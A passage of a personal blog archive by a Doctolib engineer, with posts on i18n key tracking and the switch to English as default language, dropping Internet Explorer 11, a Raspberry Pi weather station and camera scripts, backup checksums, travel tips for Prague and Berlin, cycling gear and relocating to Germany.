    const set = window._usedI18nKeys || JSON.parse(window.localStorage.getItem('i18n-keys') || '{}')
    window._usedI18nKeys = set

    if (set[actualKey]) return

    set[actualKey] = 1
    window.localStorage.setItem('i18n-keys', JSON.stringify(set))
}

i18n._t = i18n.t
i18n.t = function t(key, ...options) {
    const translation = this._t(key, ...options)

    if (translation) {
    const defaultOptionWasUsed = options[0]?.defaults?.length >= 1 && options[0].defaults[0].message === translation
    // Do not track if we used a default
    if (!defaultOptionWasUsed) addTranslationKey(key, options[0])
    }

    return translation
}

Regarding our Ruby monkey patch, we've come up with something similar, except that we store the used keys in Redis.

Now that we know how to track the used keys, when do we track them? Two options present themselves:

We keep a record of the ones used in production
We keep a record of the ones used in tests (on the CI pipeline for instance)

The second option has the disadvantage of not being a 100% reliable. First, because we don't necessarily have a test for each and every feature of Doctolib, and second because even though we might, not all possible usage scenario for a given feature are tested, therefore we can't be sure that all the i18n keys would actually be used even once.

The first option has the disadvantage of using our users' local storage at their expense and using our production Redis instance for something else that a feature. And likewise, we can't be 100% sure all of our features are even used at all. Also, the keys used today might not be the same ones as tomorrow, because we constantly merge pull requests and rollout new code to production.

Therefore, the idea of capturing a "snapshot" of the keys used at one point in time, without interfering with the production website, sounded like our best bet.

We're now capable of doing that snapshot and computing a diff between our existing keys and the ones used, yet we still have to find a way of making sure we're not deleting keys that could still be used in production, but that are simply not part of a tested feature.

Removing translations as the source language keys are removed

Finally, the last thing we had to deal with was, how do we remove from Phrase (and therefore the other YAML files) the i18n keys that we occasionally remove from en.yml, for instance when we delete a feature?

We came up with a script that runs at night, once a day, on the CI. It basically does a diff of all the i18n keys found in fr.yml, de.yml and it.yml minus those from en.yml. Then, though Phrase's API, it sequentially removes all the French/German/Italian translations for these keys from Phrase. In the next day, when our job than pulls translations from Phrase will run, all our YAML files will contain the same i18n keys.

That's it. This is how Doctolib switched from French as a default language to English. We hope this is helpful. Beyond the migration itself, we've learned a lot and were not only able to improve our translation process but also how features are internationalized, making our engineers' lives easier.

If you want more technical news, follow our journey through our docto-tech-life newsletter.

And if you want to join us in scaling a high traffic website and transforming the healthcare system, we are hiring talented developers to grow our tech and product team in France, Germany and Italy, feel free to have a look at the open positions.

Things To Do In Prague

2021-11-10T23:45:00+01:00

Prague is a relatively small city, for a capital. But it is gorgeous! The city center is almost exclusively made of pedestrian-only areas, with narrow streets full of live where cobble stones are king. The architecture is beautiful, and the city is overlooked by a castle. A perfect destination in Europe for a couple of days. I went there for just a little over two days, as it's only 4 hours away from Berlin by train. Here is what I recommend.

Go for a stroll in the park around the Prague Metronome.
Žižkov Television Tower: not the best point of view in the city but the tower is controversial and odd, that's worth taking a close look at it. Going to the top is relatively cheap.
Pass by the The Powder Tower.
Next to the Old Town Square, don't miss:
- Church of Our Lady before Týn
- St. Nicholas' Church
- Prague Astronomical Clock: every hour on the clock, the clock goes into motion. Don't expect anything fancy, but it attracts tourists.
I've heard the Národní muzeum is a must-see, although I lacked time to visit it.
The Dancing House is cool to see.
A classic, the very crowded Charles Bridge.
On the left bank, the Lennon Wall makes for a nice detour.
If you're headed to the top of hill via the inclided railway, stop by the Memorial to the Victims of Communism.
Speaking of the hill, make sure to go to the top of the Petrin Tower. A hundred times better than the TV tower, better viewpoint, more fun, partly outdoors.
There is another St. Nicholas Church to visit on the left bank. You can explore the inside and go to the top for a few Czech Crowns.
Last but not least, the Prague Castle. There are many things to do there, most notably the St. George's Basilica, plan for at least 3 hours.

While you're in Prague, you HAVE to eat a Trdelník (also called Trdlo). It is amazingly good!

Accomodation-wise, I recommend staying in the Hotel Leonardo Prague, it is fairly inexpensive for a 4-star hotel, and perfectly located, close to all the touristy places.

In Prague, you'll find many Nextbike stations and bikes in the city. It's the best way to get around!

Hope this helps. :)

Climate Change

2021-11-07T20:00:00+01:00

Living in Germany: Things To Do In Berlin

2021-09-24T22:30:00+02:00

Before diving into the list of things to do, make sure to get yourself a bike to see the city, as it's the cheapest and oftentimes the fastest means of transportation. Nextbike and "Call a bike" bikes are my favorite ones. Register yourself through these apps in no time and start exploring the city!

Museums

Check out the Museum island!
DDR museum
Stasi museum

Viewpoints

Fernsehturm (TV tower) = 22.5 euros
Berliner Dom (cathedral) = 9 euros
Panoramapunkt = 7.5 euros. Make sure to also check out Potsdamer Platz.
Siegessäule (victory column) = 3.5 euros to the top
The rooftop of the Park-Inn hotel = 3 euros, I've been told

Fun activities

Tropical Island
Canoeing
Illuseum Berlin (museum of illusion): very fun, lasts an hour, 12 euros

Must-see

Brandenburger Tor (Brandenburg gate)
Reichstag = book at least a month in advance, and get a free guided tour! One of my favorite activities in Berlin.
Wander in Tiergarten
Unter den Linden
Memorial to the Murdered Jews of Europe
East Side gallery and Oberbaumbrücke
Checkpoint Charlie
Tempelhofer Feld
Gendarmenmarkt

Restaurants

YAFO
Umami (in Prenzlauer Berg)
Cafe Anna Blume = go there for a nice brunch
Hofbräu Wirtshaus Berlin = AMAZING atmosphere, expect some singing and jumping on the benches! And loads of beer!

Bonus

Mauerpark and its Sunday flea market. Next to it is the Berlin Wall Memorial.
Berlin Unterwelten: nice tours in the underground Berlin, available in multiple languages, not just English or German
Teufelsberg: the ticket costs 8 euros. On Saturdays at 2pm it even gets you an hour long guided tour.
Nikolaiviertel
Soviet War Memorial in Tiergarten
Go to one of the numerous flea markets that take place on the weekends
Mall of Berlin = there is a slide inside!
In Potsdam (outside Berlin): the Sanssouci Palace and the Neues Palais. Get a Sanssouci+ Ticket for 22 euros and visit them both but also the windmill, the picture gallery, and more, on the same day!
Klunkerkranich
Berlin Story bunker
Go watch a show at Friedrichstadt-Palast or at Wintergarten
Eat at Markthalle Neun
Visit the root terrace of the Humboldt Forum

Est-ce que je vais me faire vacciner ?

2021-07-19T12:30:00+02:00

Covid-19, la course aux vaccins (Arte)

Depuis plusieurs semaines, vous avez forcément entendu ces propos au sujet des vaccins anti-COVID : "le vaccin n’est pas parfait, sinon il nous protègerait longtemps, comme pour la grippe" ; "ce n'est pas un vrai vaccin, sinon on n'aurait pas besoin de tant de doses"... (alternative link)

Pour répondre à l'argument du "il y a X% de vaccinés parmi les néo-infectés" (alternative link)

Shin Splints

2021-06-13T21:30:00+02:00

So now that I am a pro runner because I managed to run a half marathon once in my life, let me tell you about shin splints. Cause yeah, I got that following that run, and I could barely walk over the next 10 days, let alone running. So yes, I am kidding, I am no pro runner at all, quite the opposite actually...

What the heck is "shin splints"?

This website says it's "an inflammation of the muscles, tendons, and bone tissue around your tibia". Basically, a pain around the tibia. It can be as benign as an inflammation, and be as bad as a stress fracture. Fortunately, I had the former form of it (I guess?!). It mostly happens when you're over-exercising (like running twice the distance you had previously run the longest before, on a whim), are under-prepared, when you exercice too often or don't give your body time to rest.

How did I heal?

As I had a minor form of it (again, I guess, not sure, I did not see any doctor for that), healing took rather little time. From the day I ran till the day I was not feeling any pain any longer, 10 days went by. The pain started to kick in in the last couple of kilometers, during the run. Then, the first three days I swear I could not walk, I was limping. Oddly enough, casual urban cycling was fine. I am not talking about proper road cycling, but you know, going from A to B in a city.

After these 3 first days, some googling and a lot of Youtube searching, I applied ice on my tibia 1 or 2 times a day, for a few days. In addition to that, I lightly wrapped (strapped) my leg in a gym plastic band several hours a day, something similar to a resistance band, so as to keep my flesh tight. Not too much of course, I did not want to block the blood flow. Also I did no running and very little walking on these days. The first two or three days I did not notice any improvement, and then all of a sudden, the pain when walking greatly decreased. It took another 2 or 3 days plus some proper good paced road cycling towards the end of the recovery period, for the pain to finally completely go away.

What I am writing here is no medical advise at all, I am just sharing my personal experience. Maybe what I did was good, maybe not, maybe I would have healed faster or slower should I have done things differenlty, I have no clue.

Anyway, as I am writing this, I still have not tried running again, as I injured myself only 20 days ago, but the pain is 100% gone and I walk normaly again. Hopefully the next time I try running I'll be fine... and hopefully you'll find this article helpful. :)

Waving Goodbye to Internet Explorer 11 in 2021

2021-06-01T23:30:00+02:00

Originally published on Medium.

Two years ago, we published "Supporting Internet Explorer 11 in 2019". This year, we are bidding farewell to it. But hold on a minute! What happened between then and now? Let me tell you the story of a difficult break up between Doctolib and Internet Explorer... (and we're not the only ones 🤫)

Motivations

Back in 2019, a major motivation for us to stop supporting old browsers on the website healthcare professionals use to access our service was that we had two different pipelines to bundle JavaScript code: one was through Webpack and Babel, the other one through the Ruby on Rails asset pipeline (also known as Sprockets). The good news is, last year we managed to get rid of Sprockets. Now, all of our JavaScript files go through Webpack. Therefore, we do not need to write ES5-compliant code anymore, we can write modern JavaScript everywhere in our mono-repository. However we still have to instruct Babel to transpile some packages that do not come pre-transpiled. And let's be honest, monitoring breaking changes as library authors release new versions is no fun at all.

Our other motivations were:

Cost of maintaining additional integration tests running on old browsers. Back then we were using Browserstack, we since then moved to Lambdatest, because we found it to be more reliable and noticed less random test fails. But that still remains a pain to maintain. Not only does Lambdatest occasionally fail, but also some specific browser versions do not mingle well with Capybara (our test framework). For instance, we found that click_on would consistently not work with Safari 13 in some pages.
We still have occasional down incidents. One of the recent ones was due to scrollTo being used with options, which is not supported by Internet Explorer 11. And of course, Babel can't do anything about it.

These motivations are still valid to this day. On top of that, since 2019, we have developed new features and brought end-to-end encryption everywhere in the app. Yet, some of these old browsers have limited support for some of the web APIs we are using. As a consequence, these users can not enjoy the complete feature set Doctolib has to offer, and they are unable to see encrypted documents (PDF documents for instance), as encryption/decryption is done in the browser. Therefore, at the beginning of this year, we initiated a new project that we like to call "Browser Upgrade Campaign: reborn".

Browser Upgrade Campaign: reborn

Admittedly, our previous attempt at having our customers upgrade their browsers was a failure. We are trying to get it right this time. The timeline we laid out was as follows:

Timeline of our new project to reduce the use of outdated browsers, over 2021

Regarding the list of browsers we wanted to keep supporting, we kept the same list as in 2019, with one minor change: we would no longer support Edge 17. Here are the browsers we officially support from now on, on our pro website:

Safari 12+
Edge 18+ (18 is the last non Chrome-based version of Edge)
Chrome 50+
Firefox 45+ (version 45 in an Extended Support Release)
No Internet Explorer version at all

Preventing the use of non supported browsers internally was an easy win. All it took was good communication and the flip of a switch. After that, any Doctolib employee trying to use an outdated browser would be welcomed by the following page:

The page preventing people from using an outdated browser

The two following steps were almost as easy. After setting up some tracking through New Relic, we realized we did not have that many new connections on outdated browsers every day. What's a new connection? It's a connection from a browser that never connected to Doctolib before. How do we determine whether it ever accessed Doctolib before? We look for existing cookies sent in the request.

Based on that fact, we first blocked any new connection on Internet Explorer 11. Then, over the next few days, we monitored the amount of support tickets and phone calls: nothing. No one complained. We then did the same operation with other deprecated browsers.

Then came the fourth step.

Walking on eggs

Given that there had been a red banner displayed at the top of Doctolib for the last two years to users surfing with outdated browsers, our users were well aware of that. But of course we knew it was not enough. Why would our graphs still show relatively high usage of outdated browsers, uh?

In April and May we sent out two email campaigns: one to remote secretaryship centers, another one to key accounts (most of them being hospitals or Covid-19 vaccination centers). This time, unlike in 2019, we explicitly told them which users were still using non supported browsers and gave them a deadline after which we would no longer be able to use these browsers. We made sure to tell them which obsolete browsers they were using and what options they had to upgrade.

In the meantime, we compiled a big list of user accounts that were using multiple browsers, both supported and non supported ones. Every day, we'd pick a bunch of them and enable a feature switch on their account, that would prevent them from logging in with a non supported browser. Once again, we daily monitored our support, making sure everything was going as smoothly as possible.

And it finally happened for good this time: the curve went down and eventually reached zero.

Use of Internet Explorer among healthcare professionals on Doctolib

After the feature switch had been flipped for all of our users seamlessly, we removed the feature switch and hardcoded these browsers' name and versions directly in the codebase, to make sure no one would ever use them again.

This project is, as I am writing this article, coming to an end. Interestingly enough, in two years' time, our browser market share changed a lot, Internet Explorer slowing fading out into oblivion... and Microsoft Edge taking off!

Browser market share on Doctolib pro

If you want more technical news, follow our journey through our docto-tech-life newsletter.

And if you want to join us in scaling a high traffic website and transforming the healthcare system, we are hiring talented developers to grow our tech and product team in France and Germany, feel free to have a look at the open positions.

Living in Germany: Fahrräder und Deutsche Bahn

2021-05-05T23:30:00+02:00

German resources

Official

Return on Experience

Misc

English resources

Official

Cycling Events

2021-05-02T23:30:00+02:00

In Berlin

Critical Mass
VELOBerlin
The Nicola Werner Challenge: in Berlin and Paris
RUND UM BERLIN
HÜGELMarathon

Elsewhere

L'Étape du Tour de France: in France and other countries, every year

Raspberry Pi and SSD

2021-01-10T17:50:00+01:00

SSDs

SATA to USB 3.0 adapters

Building A Cheap Weather Station

2020-12-13T23:50:00+01:00

Hi there! Long time no talk, uh?

In this article, I explain how I managed to build a very cheap weather station to monitor the temperature and humidity of my apartment as well as the pressure through automated reporting to Google Spreadsheets. Why Google Spreadsheets? Because it allows me to create nice graphs that I can publish, or in other words, access through a public link.

Then I can build a simple HTML web page to display those graphs from Google Spreadsheet, like this:

My weather station webpage

For this tutorial you'll need:

A Raspberry Pi
A BME280 module and 4 cables
A Google Form that you link to a spreadsheet. It's so much easier than using the Google Spreadsheet API. Your Raspberry PI will POST a form with the values and they'll automatically end up in the sheet.

The BME280 module plugged to the Raspberry Pi.

Step by step tutorial

This tutorial was greatly inspired by that tutorial.

Raspberry Pi turned off, plug the module like shown in the photo above.
Enable I2C. Run sudo raspi-config, choose Interfacing options. Then reboot. Run lsmod | grep i2c to confirm i2c has been enabled.
Run sudo apt install python3-venv python3-pip i2c-tools && i2cdetect -y 1 to make sure the BME280 module is detected.
mkdir /home/pi/temperature && cd /home/pi/temperature (or any other directory of your liking).
python3 -m venv .env && source .env/bin/activate
pip install smbus2 requests RPi.bme280 redis
Create the Google Form, add 4 free text inputs: datetime, temperature, humidity and pressure. Then navigate to the form and inspect the DOM, you should be able to find hidden inputs whose names contain the word "entity" and a <form> whose URL ends with /formResponse. Copy the URL and the hidden input names, you'll need them in the next bullet point.

vim weatherstation.py

import smbus2
import bme280
import time
import requests
import datetime
import redis

url="https://docs.google.com/forms/TOKEN/formResponse"

port = 1
address = 0x76
bus = smbus2.SMBus(port)
utc_offset_in_hours = int(-time.timezone/3600)
now = datetime.datetime.now(datetime.timezone(datetime.timedelta(hours=utc_offset_in_hours))).strftime('%d/%m/%Y %H:%M:%S')

calibration_params = bme280.load_calibration_params(bus, address)
def send_request(data):
    try:
        response = requests.post(
            url,
            params={
                "entry.12": data['timestamp'],
                "entry.34": data['temperature'],
                "entry.56": data['humidity'],
                "entry.78": data['pressure'],
            },
            headers={
                "Content-Type": "application/octet-stream",
            },
        )
        return response.status_code == 200
    except requests.exceptions.RequestException:
        return False

raw_data = bme280.sample(bus, address, calibration_params)
data = { 'timestamp': now, 'temperature': raw_data.temperature, 'humidity': raw_data.humidity, 'pressure': raw_data.pressure }

successfully_sent = False

try:
    successfully_sent = send_request(data)
except BaseException as e:
    print("Error: %s" % str(e))

if not successfully_sent:
    print('Failed to post to Google Form')
    print(data)
    r = redis.Redis()
    r.rpush('weather_reports', str(data))

Finally, let's make it post values every 5 minutes through crontab -e: */5 * * * * /home/pi/temperature/.env/bin/python /home/pi/temperature/weatherstation.py

That's it!!!

Le Bon Sens

2020-09-21T13:00:00+02:00

Les populistes et le retour du « bon sens » - C à Vous - 20/05/2020

Mon avis sur le bon sens.

Ressources

« Tenues correctes » au lycée. Emmanuel Macron prône le « bon sens »

How To Check The Integrity Of A Backup Folder

2020-08-27T23:50:00+02:00

Recently, I made a backup copy of a folder that I copied over several devices. In the end, I wanted to make sure the various copies did not alter any of the files. Here's how to proceed:

cd <ORIGINAL FOLDER>
find . -type f | sort | > /tmp/original.files
cd <BACKUP FOLDER>
find . -type f | sort | > /tmp/backup.files

# You may not have copied all the files, so let's only keep the common ones
comm -12 /tmp/original.files /tmp/backup.files > /tmp/common.files

cd <ORIGINAL FOLDER>
cat /tmp/common.files | xargs -d'\n' md5sum > /tmp/original.md5sum
# -d'\n' so that filenames with space characters are handled
cd <BACKUP FOLDER>
md5sum --check /tmp/original.md5sum # Shows OK or FAILED for each file

Hope that helps.

Playing With A Raspberry Pi Camera

2020-06-01T02:50:00+02:00

Recently I've been playing with my old Raspberry Pi and a camera module (version 2) I bought a while ago. It turns out the camera is quite powerful and allowed me to create various types of videos or pictures. Here's what I've been able to do.

Note 1: In this article, I am using two commands that are meant to take photos or videos, natively installed on Rapsbian: raspistill and raspivid. For a complete user manual, follow this link.

Note 2: Don't forget to adjust the focus by rotating the lens (clockwise to focus on distant objects, anti-clockwise for close objects).

A timelapse of the sky at night

For such night shots, we need to leave the shutter open as long as possible. With this camera, there is a cap at 6 seconds, which is more than enough.

However, taking 6-second-long pictures takes approximatively 45 seconds to be processed by the Raspberry Pi.

There are multiple parameters that affect the look of a photos but after trying a few and a lot of Googling, here is a set of parameters that work pretty well for me:

while true; do \
  raspistill -q 100 -t 1 -ss 6000000 -rot 180 \
  -sh 0 -co 50 -br 50 -sa 0 -ev +2 -ex night \
  -awb auto -ISO 800 -mm average -n \
  -o "$(date -u +'%Y-%m-%dT%H:%M:%S').jpg"; date; \
  done

This command takes as many shots as possible in a infinite loop, and displays the date and time between two shots in the terminal.

Here the parameters -awb auto, -mm average and -sa 0 seem to have no impact, I believe they are the default values. The rest makes a difference.

Live streaming on Youtube

This is fairly easy and cool to do! Head out to https://studio.youtube.com/channel/UC/livestreaming and retrieve a "Stream key".

Then:

raspivid -o - -rot 180 -t 0 -w 1280 -h 720 -fps 25 -b 4000000 -g 50 \
  | ffmpeg -ar 44100 -ac 2 -f s16le -i /dev/zero -f h264 -i - \
  -vcodec copy -acodec aac -ab 128k -g 50 -strict experimental -f flv \
  rtmp://a.rtmp.youtube.com/live2/<your-secret-key-here>

This would create a live stream with no audio. To add an audio track that repeats itself, do:

raspivid -o - -rot 180 -t 0 -w 1280 -h 720 -fps 25 -b 4000000 -g 50 \
  | ffmpeg -stream_loop -1 -i ./audio.mp3 -f h264 \
  -use_wallclock_as_timestamps 1 -thread_queue_size 1024  -i - \
  -map 0:0 -map 1:0 -vcodec copy -acodec copy -g 50 -strict experimental -f flv \
  rtmp://a.rtmp.youtube.com/live2/<your-secret-key-here>

-use_wallclock_as_timestamps makes a warning message about no timestamps disappear. -thread_queue_size 1024 makes another warning message disappear.

With a height of 720 pixels, close to the full width of the sensor is used. If instead we had used 1920x1080, the image would be slightly cropped.

Daytime timelapse

Here, it's pretty much like a nighttime timelapse, except that we don't need as many parameters, the default ones should normally do a decent job. Also, since taking a picture is here much more faster, we must schedule the shots. Every 20 or 30 seconds is usually a safe bet. Since we can't predict with certainty how long taking the picture will take, in order to take timely shots, we must run a script in the background to take the photo and wait x seconds in an infinite loop:

while true; do ./take-pic.sh; sleep 20; done

And the file ./take-pic.sh (don't forget to chmod +x ./take-pic.sh):

#!/bin/bash
echo "Taking pic..."
name="$(date -u +'%Y-%m-%dT%H:%M:%S').jpg"
raspistill -q 100 -rot 180 -n -awb sun -co 20 -o "$name" &
date

That's it for today!

Bikes And Cycling Gear

2020-04-20T01:30:00+02:00

Here is a list of good bikes and cycling gear that I am considering buying some day.

First, some vocabulary to know about frames:

AL usually means an Aluminum frame
CF means a Carbon Fiber frame
SL means Super Light
SLX stands for Super Light Extreme
WMN means it meant for women

Bikes

Famous and commong bike brands

Specialized
Trek
Cannondale
Giant
BMC
Cube
Felt
GT Bicycle
Kona
Lapierre
Merida
Pinarello
Ridley
Scott

Here are the bikes on the Tour de France.

Bikes I am considering

Road

How to choose the right frame size.

General rule of thumb: the longer the reach and the shorter the stack, the more aggressive the bike. Likewise, the more the head angle is closer to 90 degrees and the smaller the wheel base is (long wheel base is for increaed stability), the more aggressive it is.

Reference	Price	Weight	Type of brakes	Groupset	Brand
BMC Teammachine ALR	✅ 1,299 euros	✅ 9.16 kg	✅ Rim	❌ Shimano Tiagra	BMC
Cannondale CAAD Optimo	✅ 1,079 euros	✅ 8.9 kg	✅ Rim	✅ Shimano 105	Cannonale
Canyon Endurace AL 7.0	✅ 1,099 euros	✅ 8.21 kg	✅ Rim	✅ Shimano 105	Canyon
Canyon Endurace CF 7.0	✅ 1,399 euros	✅ 7.96 kg	✅ Rim	✅ Shimano 105	Canyon
CUBE ATTAIN GTC Pro 105 - Carbon Roadbike - 2019	✅ 1,249 euros	✅ 8.4 kg	✅ Rim	✅ Shimano 105	Cube
Cube Attain	✅ 849 euros	✅ 9.6 kg	✅ Rim	❌ Shimano Claris	Cube
Felt FR30 road bike (2019)	✅ 1,119 euros	✅ 8.3 kg	✅ Rim	✅ Shimano 105	Felt
Felt FR40 road bike (2019)	✅ 849 euros	✅ 9.1 kg	✅ Rim	❌ Shimano Tiagra	Felt
Felt FR5 road bike (2019)	✅ 1,199 euros	✅ 8.26 kg	✅ Rim	✅ Shimano 105 R7000 11-speed	Felt
FOCUS IZALCO RACE 9.7 105 Roadbike	✅ 1,449 euros	✅ 8.1 kg	✅ Rim	✅ Shimano 105	Focus
Giant Contend SL 1 2019	✅ 1249 euros	✅ 9.04 kg	✅ Rim	✅ Shimano 105 (except brakes)	Giant
Giant TCR Advanced 2 (PC) 2019	❌ 1620 euros	✅ 7.95 kg	✅ Rim	✅ Shimano 105	Giant
Specialized Allez Elite	✅ 1,299 euros	✅ 8.83 kg	✅ Rim	✅ Shimano 105 (except brakes)	Specialized
Trek Domane AL 3	✅ 849 euros	✅ 9.75 kg	✅ Rim	❌ Shimano Sora	Trek
Triban RC520 (road version)	✅ 850 euros	❌ 10.8 kg	❌ Disc	✅ Shimano 105	Decathlon
VÉLO DE ROUTE VAN RYSEL ULTRA RCR AF SHIMANO 105 NOIR	✅ 900 euros	✅ 8.9 kg	✅ Rim	✅ Shimano 105	Decathlon
VELO ROUTE EDR AF 105 noir	✅ 999 euros	✅ 8.8 kg	✅ Rim	✅ Shimano 105	Decathlon

Short List

Canyon Endurace CF 7.0
https://www.bikeradar.com/reviews/bikes/road-bikes/canyon-endurace-al-7-2020review/
https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-al-7-0-disc (2018): good
https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-al-7-0 (2019): not so good
https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-disc-7-0 (2020): good
https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-1000/
https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-2000/
CUBE ATTAIN GTC Pro 105 - Carbon Roadbike - 2019
Geometry is not as aggressive as the other two
https://www.cyclingweekly.com/reviews/road-bikes/cube-attain-gtc-race: review is on a model with disc brakes and Ultegra Shimano, which qualifies it as a comfort-oriented bike
https://www.youtube.com/watch?v=9UCbv6FzJSM (oct 2018): good comfy bike
https://road.cc/content/buyers-guide/your-complete-guide-cubes-road-bike-range-252760
FOCUS IZALCO RACE 9.7 105 Roadbike
On the official Focus website, the wheels are different (though they are the same on this archive page) as well as the weight (8.65, 8.1 on bike24)
https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-2000/: positive review
https://www.cyclingweekly.com/group-tests/focus-bikes-352805 (oct 2019): The Focus Izalco Race aims to take a speedy, racing chassis to the masses.
https://www.bikeradar.com/reviews/bikes/road-bikes/focus-izalco-race-review/ (nov 2018): excellent appart from the wheels but they have changed since 2018
https://road.cc/content/review/235885-focus-izalco-race-carbon-sora (jan 2018): excellent review on a different model

More references

https://www.globalcyclingnetwork.com/: a classic, worldwide
https://www.bikeradar.com/features/bike-of-the-year/: excellent list!
https://road.cc/: a classic in UK
https://www.cyclingweekly.com/reviews: a good one
https://99spokes.com/: to compare bike geometries

Where to buy

Gravel

Triban RC520 (gravel version)

Cycling gear

Puncture proof tires

Continental Grand Prix 5000 (folding tires, clincher type) (why, and why) for road bikes
Schwalbe marathon plus (very heavy though) for commute bikes

Bike computers

Ordinateur de vélo GPS ELEMNT BOLT: no turn by turn navigation from a Strava route export, you have to export from Ride with GPS or Komoot. Appart from that, seems like the best one on the market.
Garmin Edge computers (530 is affordable, 830 is very expensive)

Smartphone mount

Quad Lock

Lights

Sigma Buster 700 (front light)

Route planner

Strave
Komoot
Ride with GPS

Cameras

360 degrees

Rylo
Insta360
Garmin VIRB(R) 360

Living in Germany: A Doctoliber's Journey To Berlin

2020-02-13T17:00:00+01:00

Originally published on Medium.

„Ich bin ein Berliner” — myself.

Well, this has been true for the past two months at least.

Before that, I lived in Paris for more than two years. It was cool: Paris is an amazing city to live in and there’s so much to see and do. Everything is constantly in motion and busy. Life is intense over there. More importantly, working for Doctolib France is truly awesome!

But over time I grew tired of it, not being a native Parisian myself. I missed living abroad, I was seeking new challenges, I needed to get out of my comfort zone — and let’s be honest: I wanted a bigger and cheaper apartment.

Back in 2018, Doctolib opened its second tech center, right here in Berlin. What started as a 2-person adventure back then is now a rapidly growing engineering hub with more than 40 people, including 20 software engineers (and counting).

I pretty much knew when the Berlin tech center opened that I’d want to relocate at some point. I had yet to experience Berlin as a local though. so that’s what I did in March 2019. I was able to join a feature team in Berlin as a full-time member for two weeks through a Doctolib program called “Vis Ma Vie” (Live My Life). This program is a great way to discover processes that different teams use and to also learn more about unfamiliar business scopes. At the end of those two weeks, I knew Berlin would be the next step in my life.

I started setting things in motion once I got back to Paris. I wanted my move to be as smooth as possible, for both my work-wise and personal life. The first step was to tell my manager about my plans. With the VPs of Engineering in France and Germany, we laid out a more concrete plan for me. We decided which team I’d join, based on my preferences and where I’d be most helpful. A few months later I was asked to choose a date for my first day in the Berlin office.

As time went by, it felt like things were accelerating. I first had to plan my actual move. Moving furniture and a bunch of boxes between countries is not easy. Then I needed to find a place I’d call home for at least a few weeks while settling down in Berlin. Doctolib helps with the relocation costs (flight, movers and temporary housing mostly) as well as the services of a relocating coach through Expath.de. This made my whole experience much easier.

As my involvement with my French team at Doctolib began to wind down, I worked more with my future team in Berlin, remotely. My last day in the Paris office was bittersweet. I was sad to leave people I loved but excited about my new life to come! And then it happened!

Me adapting to life in Berlin

Now, a few weeks in, I find myself looking out the window for inspiration on how to end this article. But all I see is darkness. Yes, sunset is an hour earlier than in Paris here. 😂 That’s something I’m still not used to.

One thing is certain: I’m already in love with Berlin and happy to be part of Doctolib’s adventure in Germany!

Come join us! Come have fun and revolutionize health care in Europe! 🇩🇪 🇫🇷 Or you can also subscribe to our tech newsletter. :)

Originally published on Medium.

Living in Germany: Moving To Berlin

2020-01-12T18:00:00+01:00

This is it folks, I am now officially a resident of Berlin, Germany! After over 2 years in Paris, it was about time for me to move. Here's to a new adventure!!!

But wait a second. An international move doesn't happen with a snap! In this article, I list all the tasks I had to go through to make my move as smooth and painless as possible.

Months in advance

First, I recommend reaching out to https://www.expath.de/, they're specialized in helping people move to Germany. I used their services. They also assign you a "coach", a person who will help you once you make it to Berlin. This person is going to help you register, find an apartment, etc. They can assist over emails too.

Also, I suggest you start selling the furniture you don't want to keep as soon as possible, as it can take days or weeks for people to buy it. If you wait too long, you'll most likely end up underselling your stuff.

Weeks in advance

Cancel your home internet subscription
Get information about how to cancel your home insurance

Days ahead

Cancel utilities subscriptions (electricity, water)
Redirect/forward mail

Finding a short-term flat

Useful PDF

https://wunderflats.de - registration is almost always possible, this is the website I recommend
https://www.thehomelike.com
https://www.crocodilian.de
https://www.airbnb.com - always ask beforehand if registration is possible
https://www.roomsurfer.com
https://www.exberlinerflatrentals.com
https://www.zwischenmiete.de

Days after moving

Registration (Anmeldung)

You must ask your temporary landlord to provide you with a document called Wohnungsgeberbestätigung. Ideally get the original document, not a scan. This is the document you'll be bringing to the Bürgeramt (police station or city hall) on the day you register, alongside your ID.

Make sure to book a slot for registration ASAP, as it usually takes weeks to get an appointment. Bring the following documents:

Registration Form filled in (can also be found at the Bürgeramt): Anmeldung bei einer Meldebehörde
EU ID or passport
Mietvertrag (lease)
Wohnungsgeberbestätigung filled out by landlord, or yourself if you own the place

If you are married or in a civil partnership, and moving together from one place to another, you can fill one registration form for two people and show up together at the same appointment. Otherwise, make 2 appoitments et one form per person.

Also note that you are required to notify the Bürgeramt when you leave (Abmelden).

More on the topic: here, here and there.

Register for the TV tax (Rundfunkbeitrag)

Here.

Finding a long-term flat

Apartment hunting is no different than in Paris. Except that here, almost all landlords will ask for a German-specific document: your SCHUFA (or credit score in English).

There are two types of SCHUFAS: the one with the actual credit score (called SCHUFA BonitätsAuskunft), and the one that only states whether you have any debts or not (called SCHUFA Bonitätscheck). In most cases, the latter is enough. You can get it for 30 euros at www.immobilienscout24.de.

Regarding the actual search now, here are the most used websites:

www.immobilienscout24.de - definitely the one I recommend most
www.immonet.de
www.immowelt.de/suche/wohnungen/mieten
salzundbrot.com
www.ebay-kleinanzeigen.de/s-wohnung-mieten/c203
www.wohnungsboerse.net
www.lieblingsmieter.de

Beware of scams on these websites, as you would do in any other country. When it's too good to be true, it's most likely a scam. Also, you should never send any private document before going to a viewing.

Speaking of which, go to viewings prepared. Bring a file with the following documents:

A nice introduction about you with a picture. Make sure to state if you own pets, if you have children, whether you smoke or not and if you play music. Explain why you're looking for an apartment.
Mieterselbstauskunft: find a template online and pre-fill it. Most landlords provide their own versions: in such a case, use theirs and fill it in while doing the viewing.
Passport/ID scans
Scan of your Anmeldung
Scan of SCHUFA
Copy of work contract (Arbeitsvertrag): only include relevant pages (first and last pages usually, as well as the page that says your salary -- make sure to highlight it in yellow!!! -- also if you're not on a probationary period make sure to include the page stating that
Last three payslips (Gehaltsabrechnungen)
Proof of timely payments to your previous landlord (Mietschuldenfreiheitsbescheinigung). A letter from them will do.

You may also be asked to send these documents digitally after the viewing.

Here you'll find additional advice about the apartment search.

Weeks after moving

Bank account

Consider opening a German bank account, you might need it to get paid for example. The easiest solution remains N26 though.

Various insurances

Germans are known to like insurances, so much that many various ones exist. Only a few are required by law though:

Health insurance: I was told to stick with public insurance (as opposed to private) and go with TK as they are big and English-friendly.
Work insurances: you get them automatically as soon as you start working, no need to worry here.
Vehicule insurance: if you own a car only.

Other optional insurances but highly recommended are:

